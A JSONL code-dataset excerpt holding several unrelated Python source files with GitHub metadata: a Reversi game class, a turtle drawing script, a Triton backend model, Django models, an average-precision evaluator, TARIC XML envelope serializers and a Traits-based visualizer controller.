<= x <= 7 and 0 <= y <= 7\n\n    def is_legal_pos(self, cheak_only, i, j):\n        self.rev_pos.clear()\n\n        if self.on_board(i, j) and self.board[i, j] == 0:\n            for dx, dy in self.dir:\n                op_cnt = 1\n                x, y = i + dx, j + dy\n                while self.on_board(x, y): \n                    if self.board[x, y] == -self.cur_color:\n                        op_cnt += 1 \n                        x += dx\n                        y += dy\n                    elif self.board[x, y] == self.cur_color and op_cnt > 1:\n                        if cheak_only:\n                            return True\n                        while op_cnt > 0:\n                            x -= dx\n                            y -= dy\n                            self.rev_pos.append((x, y))\n                            op_cnt -= 1\n                    else:\n                        break\n        return len(self.rev_pos) > 0\n\n    def get_all_legal_pos(self):\n        self.legal_pos.clear()\n        for i in range(8):\n            for j in range(8):\n                if self.is_legal_pos(True, i, j):\n                    self.legal_pos.append((i, j))\n        return self.legal_pos\n\n    def board_after_rev(self, x, y):\n        if (self.is_legal_pos(False, x, y)):\n            for pos in self.rev_pos:\n                self.board[x, y] = self.cur_color\n\n    ","repo_name":"ITBillZ/CS311-AI","sub_path":"Proj-Reversed-Reversi/V1.0-Greedy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8781947711","text":"import turtle #导入乌龟画图模块\nimport math\n\npen = turtle.Turtle() #初始化一个画布，并生成画笔，画笔变量名为pen\npen._delay(0.01)\n\ndef draw_circle(pen, r, degree):\n    total_len = 2 * math.pi * r\n    step_len = total_len / 360\n    for i in range(degree):\n        pen.fd(step_len)\n        pen.lt(1)\n\n\n\ndef draw_helical(r, n, delta):\n    pen.fd(r)\n    pen.lt(90)\n    for i in range(n):\n        draw_circle(pen, r, 180)\n        r += delta\n\ndraw_helical(500, 1, 2)\n#draw_helical(10, 20, 5)\n\nturtle.mainloop()\n","repo_name":"JalonJia/HomeTeach","sub_path":"SourceCode/Jalon/201811/drawCircle.py","file_name":"drawCircle.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36982543876","text":"import json\nimport time\nimport numpy as np\nfrom typing import List\n\nimport triton_python_backend_utils as pb_utils\n\n\nclass TritonPythonModel:\n    def initialize(self, args):\n        # You must parse model_config. JSON string is not parsed here\n        self.model_config = model_config = json.loads(args['model_config'])\n\n        using_decoupled = pb_utils.using_decoupled_model_transaction_policy(\n            model_config\n        )\n        if not using_decoupled:\n            raise pb_utils.TritonModelException(\n                \"\"\"the model `{}` can generate any number of responses per request,\n                enable decoupled transaction policy in model configuration :o\n                serve this model\"\"\".format(\n                    args['model_name']\n                )\n            )\n\n        # Get OUT configuration\n        out_config = pb_utils.get_output_config_by_name(model_config, \"OUT\")\n\n        # Convert Triton types to numpy types\n        self.out_dtype = pb_utils.triton_string_to_numpy(out_config['data_type'])\n\n    def execute(self, requests):\n        # This model does not support batching, so 'request_count' should always\n        # be 1.\n        if len(requests) != 1:\n            raise pb_utils.TritonModelException(\n                \"unsupported batch size \" + len(requests)\n            )\n\n        in_input = pb_utils.get_input_tensor_by_name(requests[0], 'IN').as_numpy()\n        response_sender = requests[0].get_response_sender()\n\n        for i in range(in_input[0]):\n            time.sleep(0.1)\n\n            out_tensor = pb_utils.Tensor(\n                'OUT', np.array([[i], [i], [i]], dtype=self.out_dtype)\n            )\n\n            response = pb_utils.InferenceResponse(output_tensors=[out_tensor])\n            response_sender.send(response)\n\n        response_sender.send(flags=pb_utils.TRITONSERVER_RESPONSE_COMPLETE_FINAL)\n        return None\n\n    def finalize(self):\n        print('Finalize invoked')\n","repo_name":"Jackiexiao/triton-decoupled-cache","sub_path":"decoupled_cache/repeat/1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43223817406","text":"from django.conf import settings\nfrom django.db import models\n\nUser = settings.AUTH_USER_MODEL\n\n# Create your models here.\nclass TimeStampedModel(models.Model):\n    \"\"\"\n    An abstract base class model that provides selfupdating\n    ``created`` and ``modified`` fields.\n    \"\"\"\n\n    created = models.DateTimeField(auto_now=False, auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True, auto_now_add=False)\n\n    class Meta:\n        abstract = True\n\nclass Gym(TimeStampedModel):\n    user = models.ForeignKey(User, blank=True, null=True)\n    edad = models.CharField(max_length=250, blank=True, null=True)\n    vigencia = models.CharField(max_length=250, blank=True, null=True)\n    cuantia = models.CharField(max_length=250, blank=True, null=True)\n    fecha_pagado = models.DateField(blank=True, null=True)\n    valido_hasta = models.DateField(blank=True, null=True)\n    pagado = models.BooleanField(default=False)\n\n    def __str__(self):\n        return self.user.username","repo_name":"amosISA/tarbena_app","sub_path":"gym/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"33098291566","text":"import argparse\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom operator import attrgetter\nfrom itertools import groupby, chain, compress\n\nsys.path.append('../readers')\n\nfrom read_groundtruth import read_groundtruth\nfrom read_detections import read_detections\nfrom data_structures import iou\n\n\ndef compute_precision_recall(dt_bboxes, gt_bboxes, percentage):    \n    # sort detections by confidence\n    dt_bboxes = sorted(dt_bboxes, key = attrgetter('conf'), reverse = True)\n    \n    # sort groundtruth and group by frame identifier\n    get_attr = attrgetter('fid')\n    fid_gt_bboxes = {k: list(g) for k, g in groupby(sorted(gt_bboxes, \n                     key = get_attr), get_attr)}\n    \n    # create arrays to check correspondences between groundthuth and detections\n    tp = [0 for x in range(len(dt_bboxes))]\n    fp = [0 for x in range(len(dt_bboxes))]\n    \n    # each detection\n    for dt_idx in range(len(dt_bboxes)):\n        dt = dt_bboxes[dt_idx]\n        iou_max = percentage\n        iou_max_idx = -1\n        # compare with groudtruth of the same frame identifier\n        try:\n            fid_gt_len = len(fid_gt_bboxes[dt.fid])\n        except:\n            fp[dt_idx] = 1\n            continue\n        for gt_idx in range(fid_gt_len):\n            gt = fid_gt_bboxes[dt.fid][gt_idx]\n            iou_value = iou(dt, gt)\n            if (iou_value >= iou_max):\n                iou_max = iou_value\n                iou_max_idx = gt_idx\n        if (iou_max_idx >= 0) and (not fid_gt_bboxes[dt.fid][iou_max_idx].checked):\n            tp[dt_idx] = 1\n            fid_gt_bboxes[dt.fid][iou_max_idx].checked = True\n        else:\n            fp[dt_idx] = 1\n    \n    # compute cumulative sum of true positives and false positives\n    tp = list(np.cumsum(tp))\n    fp = list(np.cumsum(fp))\n    recall = [x / len(gt_bboxes) for x in tp]\n    precision = [tp[i] / (fp[i] + tp[i]) for i in range(len(tp))]\n    \n    return [recall, precision]\n\n\ndef compute_average_precision(recall, precision):\n    ap = 0.0\n    t = 0.0\n    step = 0.1\n    kpoints = 11\n    while t <= 1.0:\n        pr = max(chain(compress(precision,\n            [recall[i] >= t for i in range(len(recall))]), [0.0]))\n        ap += pr / kpoints\n        t += step\n    \n    return ap\n\n\ndef average_precision_curve(gt_bboxes, dt_bboxes, objclass, percentage):    \n    [recall, precision] = compute_precision_recall(dt_bboxes,\n        gt_bboxes, percentage)\n    ap = compute_average_precision(recall, precision)\n\n    return [ap, recall, precision]\n\n\ndef show_precision_recall_curve(ap, recall, precision):\n    plt.plot(recall, precision)\n    plt.title('AP = {0:.3f}'.format(ap))\n    plt.xlabel('recall')\n    plt.ylabel('precision')\n    plt.show()\n\n\nif __name__ == \"__main__\":\n    # parse command line arguments\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-g', '--groundtruth', help = 'groundtruth (file)')\n    parser.add_argument('-d', '--detections', help = 'detections (file)')\n    parser.add_argument('-c', '--object_class',\n        help = 'object class (by default CAR)', default = 'car', type = str)\n    parser.add_argument('-q', '--quiet', help = 'silent mode (print only TPR)',\n        action = 'store_true')\n    parser.add_argument('-p', '--percentage', help = 'intersection percentage'\\\n        ' (from 0 to 1, by default 0.5)', type = float, default = 0.5)\n    args = parser.parse_args()\n    if len(sys.argv) < 3:\n        parser.print_help()\n        sys.exit()\n\n    # print command line arguments\n    if args.quiet:\n        print(average_precision_curve(args.groundtruth, args.detections,\n            args.object_class, args.percentage))\n    else:\n        print('-----------------------------------')\n        print('Groundtruth: ' + args.groundtruth)\n        print('Detections: ' + args.detections)\n        print('Object class: ' + args.object_class)\n        print('Intersection percentage: ' + str(args.percentage))\n        print('-----------------------------------')\n        gt_bboxes = read_groundtruth(args.groundtruth, args.object_class)\n        dt_bboxes = read_detections(args.detections, args.object_class)\n        [ap, recall, precision] = average_precision_curve(\n            gt_bboxes, dt_bboxes, args.object_class, args.percentage)\n        print('Average precision = ' + str(ap))\n        show_precision_recall_curve(ap, recall, precision)\n        print('-----------------------------------')\n","repo_name":"valentina-kustikova/dnn-object-detectors-comp","sub_path":"utilities/average_precision.py","file_name":"average_precision.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18225262643","text":"import logging\nimport os\nfrom collections import defaultdict\nfrom collections import namedtuple\nfrom typing import Dict\nfrom typing import List\nfrom typing import Sequence\n\nfrom lxml import etree\n\nfrom common.serializers import EnvelopeSerializer\nfrom common.serializers import TaricDataAssertionError\nfrom common.serializers import validate_envelope\n\nlogger = logging.getLogger(__name__)\n\n# RenderedTransactions\nRenderedTransactions = namedtuple(\n    \"RenderedTransactions\",\n    \"envelope_id output transactions is_oversize max_envelope_size\",\n)\nRenderedTransactions.__doc__ = \"\"\"\\\nTransient object that links Transaction objects to the file like object they were rendered to as Envelope XML.\n\nThis enables separation of serialization, validation and saving to the database.\nAny of the steps prior to saving to the database may fail fail without incurring a roll-back.\n\n:param envelope_id: Envelope ID, to use later, when creating Envelope objects in the database.\n:param output:  file, or file like object Envelope XML was streamed to.\n:param transactions: Transaction objects that were rendered to XML in this Envelope.\n:param is_oversize: True if the rendered XML was larger than max_size when rendered.\n:param max_envelope_size: Maximum envelope size used when rendering this Envelope.\n\"\"\"\n\n\nclass MultiFileEnvelopeTransactionSerializer(EnvelopeSerializer):\n    \"\"\"\n    Streaming EnvelopeSerializer that with multiple streams.\n\n    On reaching a size boundary, the current envelope is completed, the next\n    stream from outputs is selected new envelope output starts.\n    \"\"\"\n\n    def __init__(\n        self,\n        output_constructor: callable,\n        envelope_id=1,\n        benchmark=False,\n        *args,\n        **kwargs,\n    ) -> None:\n        \"\"\"\n        :param output_constructor: callable that returns a file like object to write to, called each time a new envelope is started.\n        :param envelope_id: Envelope ID, to use later, when creating Envelope objects in the database.\n        :param args: Passed through to EnvelopeSerializer.\n        :param kwargs: Passed through to EnvelopeSerializer.\n        \"\"\"\n        self.output_constructor = output_constructor\n        EnvelopeSerializer.__init__(\n            self, self.output_constructor(), envelope_id=envelope_id, **kwargs\n        )\n\n    def start_next_envelope(self):\n        self.output = self.output_constructor()\n        super().start_next_envelope()\n\n    def split_render_transactions(self, transactions):\n        \"\"\"\n        :param transactions: Transaction\n\n        Write tracked_models of transactions out to one or more envelopes.\n        An individual Transaction will not be split\n\n        yields instances of RenderedTransaction\n        \"\"\"\n        self.write(self.render_file_header())\n        self.write(self.render_envelope_start())\n\n        envelope_extra_size = self.envelope_start_size + self.envelope_end_size\n\n        # Transactions written to the current output\n        current_transactions = []\n        for transaction in transactions.all():\n            tracked_models = transaction.tracked_models.record_ordering()\n            if not tracked_models.count():\n                # Transactions with no tracked models can occur if a workbasket\n                # is created and then populated, these are filtered as an empty\n                # transaction will cause an XSD validation error later on.\n                #\n                # Django bug 2361  https://code.djangoproject.com/ticket/2361\n                #   Queryset.filter(m2mfield__isnull=False) may duplicate records,\n                #   so cannot be used, instead the count() of each tracked_models\n                #   resultset is checked.\n                #\n                #\n                continue\n\n            envelope_body = self.render_envelope_body(tracked_models, transaction.order)\n            envelope_body_size = len(envelope_body.encode())\n            if self.is_envelope_full(envelope_body_size):\n                oversize = not self.can_fit_one_envelope(\n                    envelope_body_size + envelope_extra_size,\n                )\n\n                # Finish previous envelope and yield output and list of contained transactions\n                self.write(self.render_envelope_end())\n\n                yield RenderedTransactions(\n                    envelope_id=self.envelope_id,\n                    output=self.output,\n                    transactions=current_transactions,\n                    is_oversize=oversize,\n                    max_envelope_size=self.max_envelope_size,\n                )\n\n                # Start new envelope\n                self.start_next_envelope()\n                current_transactions = []\n                self.write(self.render_file_header())\n                self.write(self.render_envelope_start())\n\n            current_transactions.append(transaction)\n\n            self.write(envelope_body)\n\n        self.write(self.render_envelope_end())\n        yield RenderedTransactions(\n            envelope_id=self.envelope_id,\n            output=self.output,\n            transactions=current_transactions,\n            is_oversize=False,\n            max_envelope_size=self.max_envelope_size,\n        )\n\n\nclass EnvelopeTooLarge(Exception):\n    \"\"\"Envelope was bigger than max_envelope_size.\"\"\"\n\n\ndef validate_rendered_envelopes(\n    rendered_envelopes: Sequence[RenderedTransactions],\n) -> Dict[int, List[Exception]]:\n    \"\"\"\n    Given a sequence of RenderedTransactions, check the envelope data in their\n    `output` file objects is valid Envelope XML.\n\n    :param rendered_envelopes: sequence of RenderedEnvelope\n    :return: dict of {envelope_id: [Exception,...]}\n    \"\"\"\n    envelope_errors = defaultdict(list)\n    for rendered_envelope in rendered_envelopes:\n        if rendered_envelope.is_oversize:\n            envelope_errors[rendered_envelope.envelope_id].append(\n                EnvelopeTooLarge(\n                    \"Envelope Too Big: {rendered_envelope.envelope_id} > {rendered_envelope.max_envelope_size}\",\n                ),\n            )\n\n        envelope_file = rendered_envelope.output\n        envelope_file.seek(0, os.SEEK_SET)\n        try:\n            validate_envelope(envelope_file)\n        except (TaricDataAssertionError, etree.DocumentInvalid) as e:\n            # Nothing to log here; validate_envelope already logged the issue.\n            envelope_errors[rendered_envelope.envelope_id].append(e)\n        except BaseException as e:\n            logger.exception(e)\n            envelope_errors[rendered_envelope.envelope_id].append(e)\n    return dict(envelope_errors)\n","repo_name":"uktrade/tamato","sub_path":"exporter/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":6580,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"14517597913","text":"__author__ = \"Simone Campagna\"\n\n__all__ = [\n    'Controller',\n]\n\nimport collections\n\nfrom traits.api import \\\n    HasTraits, on_trait_change, \\\n    Int, Str, Bool, Float, \\\n    Range, Instance\n\n   \nfrom traitsui.api import \\\n    View, Item, HGroup, Group, \\\n    Action, \\\n    RangeEditor, EnumEditor, BooleanEditor\n\nfrom traitsui.menu import OKButton, UndoButton, RevertButton\nfrom traitsui.handler import Controller as TraitsController\n\nfrom .base_controller_impl import BaseControllerImpl\nfrom .base_handler_mixin import BaseHandlerMixIn\n\nfrom .mayavi_data import \\\n    COLORMAPS\n\nfrom .attributes import \\\n    IndexAttribute, \\\n    Dimension4DAttribute, \\\n    ColormapAttribute, \\\n    ColorbarAttribute, \\\n    ClipAttribute, \\\n    AutoClipAttribute, \\\n    SymmetricClipAttribute, \\\n    LocateModeAttribute, \\\n    LocateValueAttribute\n\n    \nclass ControllerHandler(TraitsController, BaseHandlerMixIn):\n    def init(self, info):\n        TraitsController.init(self, info)\n        BaseHandlerMixIn.init(self, info)\n\n    def _on_close(self, info):\n        BaseHandlerMixIn._on_close(self, info)\n\n    def closed(self, info, is_ok):\n        #info.object.close_views()\n        super(ControllerHandler, self).closed(info, is_ok)\n\nclass Controller(HasTraits, BaseControllerImpl):\n    ATTRIBUTES = collections.OrderedDict((\n        ('w', IndexAttribute('w')),\n        ('x', IndexAttribute('x')),\n        ('y', IndexAttribute('y')),\n        ('z', IndexAttribute('z')),\n        ('colormap', ColormapAttribute()),\n        ('colorbar', ColorbarAttribute()),\n        ('slicing_axis', Dimension4DAttribute()),\n        ('clip', ClipAttribute()),\n        ('clip_min', ClipAttribute()),\n        ('clip_max', ClipAttribute()),\n        ('clip_auto', AutoClipAttribute()),\n        ('clip_symmetric', SymmetricClipAttribute()),\n# passed to views\n        ('locate_mode', LocateModeAttribute()),\n        ('locate_value', LocateValueAttribute()),\n    ))\n    DIMENSIONS = \"2D, 3D, ..., nD\"\n    DATA_CHECK = classmethod(lambda cls, data: len(data.shape) >= 2)\n    DESCRIPTION = \"\"\"\\\nController for multiple views\n\"\"\"\n    LABEL_WIDTH = 30\n    LOCAL_AXIS_NAMES = ['x', 'y', 'z']\n    LOCAL_AXIS_NUMBERS = dict((axis_name, axis_number) for axis_number, axis_name in enumerate(LOCAL_AXIS_NAMES))\n    GLOBAL_AXIS_NAMES = ['w', 'x', 'y', 'z']\n    GLOBAL_AXIS_NUMBERS = dict((axis_name, axis_number) for axis_number, axis_name in enumerate(GLOBAL_AXIS_NAMES))\n    S_ALL = slice(None, None, None)\n\n    # The axis selectors\n    ## w:\n    w_low = Int(0)\n    w_high = Int(0)\n    w_index = Int(0)\n    w_range = Range(low='w_low', high='w_high', value='w_index')\n    ## x:\n    x_low = Int\n    x_high = Int\n    x_index = Int\n    x_range = Range(low='x_low', high='x_high', value='x_index')\n    ## y:\n    y_low = Int(0)\n    y_high = Int(0)\n    y_index = Int(0)\n    y_range = Range(low='y_low', high='y_high', value='y_index')\n    ## z:\n    z_low = Int(0)\n    z_high = Int(0)\n    z_index = Int(0)\n    z_range = Range(low='z_low', high='z_high', value='z_index')\n    ## is4D:\n    is4D = Bool()\n\n    slicing_axis = Str(\"\")\n    data_shape = Str(\"\")\n    close_button = Action(name='Close', action='_on_close')\n\n    colorbar = Bool()\n    colormap = Str()\n\n    data_min = Float()\n    data_max = Float()\n\n    clip = Float()\n    clip_min = Float()\n    clip_max = Float()\n    clip_auto = Bool()\n    clip_symmetric = Bool()\n    clip_readonly = Bool()\n    clip_visible = Bool()\n    clip_range_readonly = Bool()\n    clip_range_visible = Bool()\n\n    def __init__(self, logger, attributes, title=None, **traits):\n        HasTraits.__init__(self, **traits)\n        BaseControllerImpl.__init__(self, logger=logger, title=title, attributes=attributes)\n        self.w_low, self.x_low, self.y_low, self.z_low = 0, 0, 0, 0\n        rank = len(self.shape)\n        if rank == 2:\n            wh = 1\n            zh = 1\n            xh, yh = self.shape\n        elif rank == 3:\n            wh = 1\n            xh, yh, zh = self.shape\n        elif rank == 4:\n            wh, xh, yh, zh = self.shape\n        self.w_high, self.x_high, self.y_high, self.z_high = wh - 1, xh - 1, yh - 1, zh - 1\n        self.set_default_clips()\n        self.set_axis_mapping()\n\n\n    ### U t i l i t i e s :\n    def create_view(self, view_class, data, title=None):\n        return view_class(controller=self, data=data, title=title)\n\n    def add_view(self, view_class, data, title=None):\n        if data.shape != self.shape:\n            raise ValueError(\"{}: cannot create {} view: data shape {} is not {}\".format(self.name, view_class.__name__, data.shape, self.shape))\n        local_volume = self.get_local_volume(data)\n        view = self.create_view(view_class, local_volume, title=title)\n        self.set_view_axis(view)\n        self.views.append(view)\n        self.views_data[view] = data\n        #self.add_class_trait(view.name, Instance(view_class))\n        #self.add_trait(view.name, view)\n        self.update_data_range()\n        return view\n\n    def set_view_axis(self, view):\n        for global_axis_name in self.GLOBAL_AXIS_NAMES:\n            if global_axis_name != self.slicing_axis:\n                local_axis_name = self.get_local_axis_name(global_axis_name)\n                setattr(view, \"{}_index\".format(local_axis_name), getattr(self, \"{}_index\".format(global_axis_name)))\n\n\n    def update_data_range(self):\n        if self.views:\n            data_min_l, data_max_l = [], []\n            for view in self.views:\n                for local_volume in view.data:\n                    data_min_l.append(local_volume.min())\n                    data_max_l.append(local_volume.max())\n            self.data_min = float(min(data_min_l))\n            self.data_max = float(max(data_max_l))\n            self.logger.info(\"{}: data range: {} <-> {}\".format(self.name, self.data_min, self.data_max))\n        else:\n            self.data_min = 0.0\n            self.data_max = 0.0\n                \n    def get_local_volume(self, data):\n        if data.shape != self.shape:\n            raise ValueError(\"{}: invalid shape {}\".format(self.name, data.shape))\n        if len(self.shape) == 4:\n            s = [self.S_ALL, self.S_ALL, self.S_ALL]\n            s.insert(self.GLOBAL_AXIS_NUMBERS[self.slicing_axis], getattr(self, '{}_index'.format(self.slicing_axis)))\n            return data[s]\n        else:\n            return data\n\n    def set_axis_mapping(self):\n        self._m_local2global = {}\n        self._m_global2local = {}\n        local_axis_number = 0\n        for global_axis_number, global_axis_name in enumerate(self.GLOBAL_AXIS_NAMES):\n            if global_axis_name != self.slicing_axis:\n                local_axis_name = self.LOCAL_AXIS_NAMES[local_axis_number]\n                self._m_local2global[local_axis_name] = global_axis_name\n                self._m_global2local[global_axis_name] = local_axis_name\n                local_axis_number += 1\n        self.logger.info(\"{}: local2global: {}\".format(self.name, self._m_local2global))\n        self.logger.info(\"{}: global2local: {}\".format(self.name, self._m_global2local))\n\n    def get_global_axis_name(self, local_axis_name):\n        return self._m_local2global[local_axis_name]\n        \n    def get_local_axis_name(self, global_axis_name):\n        return self._m_global2local[global_axis_name]\n        \n    def set_default_clips(self):\n        clip_symmetric = self.attributes[\"clip_symmetric\"]\n        clip_auto = self.attributes[\"clip_auto\"]\n        clip = self.attributes[\"clip\"]\n        clip_min = self.attributes[\"clip_min\"]\n        clip_max = self.attributes[\"clip_max\"]\n        if clip is not None:\n            self.clip = clip\n        if clip_min is not None:\n            self.clip_min = clip_min\n        if clip_max is not None:\n            self.clip_max = clip_max\n        if clip_symmetric is None:\n            if clip is not None:\n                clip_symmetric = True\n            else:\n                clip_symmetric = False\n        if clip_auto is None:\n            if clip is None and (clip_min is None or clip_max is None):\n                clip_auto = True\n            else:\n                clip_auto = False\n        self.clip_symmetric = clip_symmetric\n        self.clip_auto = clip_auto\n\n    def close_uis(self):\n        # locks on exit !\n        super(Controller, self).close_uis()\n        \n    def close_views(self):\n        for view in self.views:\n            view.close_uis()\n        del self.views[:]\n\n    ### D e f a u l t s :\n    def _colorbar_default(self):\n        return self.attributes[\"colorbar\"]\n\n    def _colormap_default(self):\n        return self.attributes[\"colormap\"]\n\n    def _data_shape_default(self):\n        return 'x'.join(str(d) for d in self.shape)\n\n    def _is4D_default(self):\n        return len(self.shape) == 4\n\n    def _axis_index_default(self, axis_name):\n        if self.attributes.get(axis_name, None) is None:\n            h = getattr(self, \"{}_high\".format(axis_name))\n            l = getattr(self, \"{}_low\".format(axis_name))\n            return (h - l) // 2\n        else:\n            return self.attributes[axis_name]\n\n    def _w_index_default(self):\n        return self._axis_index_default('w')\n\n    def _x_index_default(self):\n        return self._axis_index_default('x')\n\n    def _y_index_default(self):\n        return self._axis_index_default('y')\n\n    def _z_index_default(self):\n        return self._axis_index_default('z')\n\n    def _slicing_axis_default(self):\n        slicing_axis = self.attributes.get(\"slicing_axis\", None) \n        if slicing_axis is None:\n            slicing_axis = self.GLOBAL_AXIS_NAMES[0]\n        return slicing_axis\n\n    def on_change_axis(self, global_axis_name):\n        global_attribute = '{}_index'.format(global_axis_name)\n        self.log_trait_change(global_attribute)\n        if global_axis_name == self.slicing_axis:\n            #self.logger.error(\"{}: changing the slicing axis is not supported yet\".format(self.name))\n            for view in self.views:\n                local_volume = self.get_local_volume(self.views_data[view])\n                view.set_volume(local_volume)\n            self.update_data_range()\n            self.update_clip_range()\n        else:\n            local_axis_name = self.get_local_axis_name(global_axis_name)\n            local_attribute = '{}_index'.format(local_axis_name)\n            self.apply_attribute(local_attribute, getattr(self, global_attribute))\n\n    def set_clip(self):\n        if self.clip_auto:\n            self.clip_min, self.clip_max = self.data_min, self.data_max\n            self.clip = max(abs(self.clip_min), abs(self.clip_max))\n        self.clip_readonly = not self.clip_auto\n        self.clip_range_readonly = not self.clip_auto\n        self.clip_visible = self.clip_symmetric\n        self.clip_range_visible = not self.clip_symmetric\n\n    def get_clip_range(self):\n        if self.clip_auto:\n            clip_min = float(self.data_min)\n            clip_max = float(self.data_max)\n            clip = max(abs(clip_min), abs(clip_max))\n        else:\n            clip_min = self.clip_min\n            clip_max = self.clip_max\n            clip = self.clip\n        if self.clip_symmetric:\n            return -clip, clip\n        else:\n            return clip_min, clip_max\n\n    def update_clip_range(self):\n        clip_min, clip_max = self.get_clip_range()\n        self.logger.info(\"{}: applying clip {} <-> {}\".format(self.name, clip_min, clip_max))\n        for view in self.views:\n            view.update_clip_range(clip_min, clip_max)\n\n    ### T r a t s   c h a n g e s :\n    @on_trait_change('colorbar')\n    def on_change_colorbar(self):\n        for view in self.views:\n            view.enable_colorbar(self.colorbar)\n\n    @on_trait_change('colormap')\n    def on_change_colormap(self):\n        for view in self.views:\n            view.set_colormap(self.colormap)\n\n    @on_trait_change('data_min,data_max')\n    def on_change_data_range(self):\n        self.set_clip()\n        self.update_clip_range()\n\n    @on_trait_change('clip_symmetric')\n    def on_change_clip_symmetric(self):\n        self.set_clip()\n        self.update_clip_range()\n\n    @on_trait_change('clip_auto')\n    def on_change_clip_auto(self):\n        self.set_clip()\n        self.update_clip_range()\n\n    @on_trait_change('clip')\n    def on_change_clip(self):\n        self.logger.debug(\"{}: clip: auto={}, symmetric={}, clip={}\".format(self.name, self.clip_auto, self.clip_symmetric, self.clip))\n        if self.clip_symmetric:\n            self.update_clip_range()\n     \n    @on_trait_change('clip_min,clip_max')\n    def on_change_clip(self):\n        self.logger.debug(\"{}: clip: auto={}, symmetric={}, clip_min={}, clip_max={}\".format(self.name, self.clip_auto, self.clip_symmetric, self.clip_min, self.clip_max))\n        if not self.clip_symmetric:\n            self.update_clip_range()\n     \n    @on_trait_change('w_index')\n    def on_change_w_index(self):\n        self.on_change_axis('w')\n\n    @on_trait_change('x_index')\n    def on_change_x_index(self):\n        self.on_change_axis('x')\n\n    @on_trait_change('y_index')\n    def on_change_y_index(self):\n        self.on_change_axis('y')\n\n    @on_trait_change('z_index')\n    def on_change_z_index(self):\n        self.on_change_axis('z')\n       \n\n    controller_view = View(\n        HGroup(\n            Group(\n                Item(\n                    'data_shape',\n                    label=\"Shape\",\n                    style=\"readonly\",\n                ),\n                Item(\n                    'slicing_axis',\n                    editor=EnumEditor(\n                        values=GLOBAL_AXIS_NAMES\n\n                    ),\n                    label=\"Slicing dim\",\n                    enabled_when='is4D',\n                    visible_when='is4D',\n                    #emphasized=True,\n                    style=\"readonly\",\n                    tooltip=\"the slicing dimension\",\n                    help=\"4D volumes are sliced along the 'slicing dimension'; it is possible to change the value of this dimension using the related slider\",\n                ),\n                Item(\n                    '_',\n                    enabled_when='is4D',\n                    visible_when='is4D',\n                ),\n                Item(\n                    'w_index',\n                    editor=RangeEditor(\n                        enter_set=True,\n                        low_name='w_low',\n                        high_name='w_high',\n                        format=\"%d\",\n                        #label_width=LABEL_WIDTH,\n                        mode=\"auto\",\n                    ),\n                    enabled_when='is4D',\n                    visible_when='is4D',\n                    tooltip=\"the w dimension\",\n                ),\n                Item(\n                    'x_index',\n                    editor=RangeEditor(\n                        enter_set=True,\n                        low_name='x_low',\n                        high_name='x_high',\n                        format=\"%d\",\n                        #label_width=LABEL_WIDTH,\n                        mode=\"slider\",\n                    ),\n                    format_str=\"%<8s\",\n                    tooltip=\"the x dimension\",\n                ),\n                Item(\n                    'y_index',\n                    editor=RangeEditor(\n                        enter_set=True,\n                        low_name='y_low',\n                        high_name='y_high',\n                        format=\"%d\",\n                        #label_width=LABEL_WIDTH,\n                        mode=\"slider\",\n                    ),\n                    format_str=\"%<8s\",\n                    tooltip=\"the y dimension\",\n                ),\n                Item(\n                    'z_index',\n                    editor=RangeEditor(\n                        enter_set=True,\n                        low_name='z_low',\n                        high_name='z_high',\n                        format=\"%d\",\n                        #label_width=LABEL_WIDTH,\n                        mode=\"slider\",\n                    ),\n                    format_str=\"%<8s\",\n                    tooltip=\"the z dimension\",\n                ),\n                '_',\n                Item(\n                    'colorbar',\n                    editor=BooleanEditor(\n                    ),\n                    label=\"Colorbar\",\n                ),\n                Item(\n                    'colormap',\n                    editor=EnumEditor(\n                        values=COLORMAPS,\n\n                    ),\n                    label=\"Colormap\",\n                ),\n                '_',\n                Item(\n                    'data_min',\n                    label=\"Data min\",\n                    style=\"readonly\",\n                ),\n                Item(\n                    'data_max',\n                    label=\"Data max\",\n                    style=\"readonly\",\n                ),\n                Item(\n                    'clip_auto',\n                    editor=BooleanEditor(),\n                    label=\"Automatic\",\n                    tooltip=\"makes clip automatic\",\n                    help=\"if set, clip is taken from data range\"\n                ),\n                Item(\n                    'clip_symmetric',\n                    editor=BooleanEditor(),\n                    label=\"Symmetric\",\n                    tooltip=\"makes clip symmetric\",\n                    help=\"if set, clip_min=-clip, clip_max=+clip\",\n                ),\n                Item(\n                    'clip',\n                    label=\"Clip\",\n                    visible_when='clip_visible',\n                    enabled_when='clip_readonly',\n                ),\n                Item(\n                    'clip_min',\n                    label=\"Clip min\",\n                    visible_when='clip_range_visible',\n                    enabled_when='clip_range_readonly',\n                ),\n                Item(\n                    'clip_max',\n                    label=\"Clip max\",\n                    visible_when='clip_range_visible',\n                    enabled_when='clip_range_readonly',\n                ),\n\n            ),\n        ),\n        buttons=[UndoButton, RevertButton, close_button],\n        handler=ControllerHandler(),\n        resizable=True,\n        title=\"untitled\",\n    )\n","repo_name":"Borsos/rubik","sub_path":"rubik/visualizer/impl/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":18176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
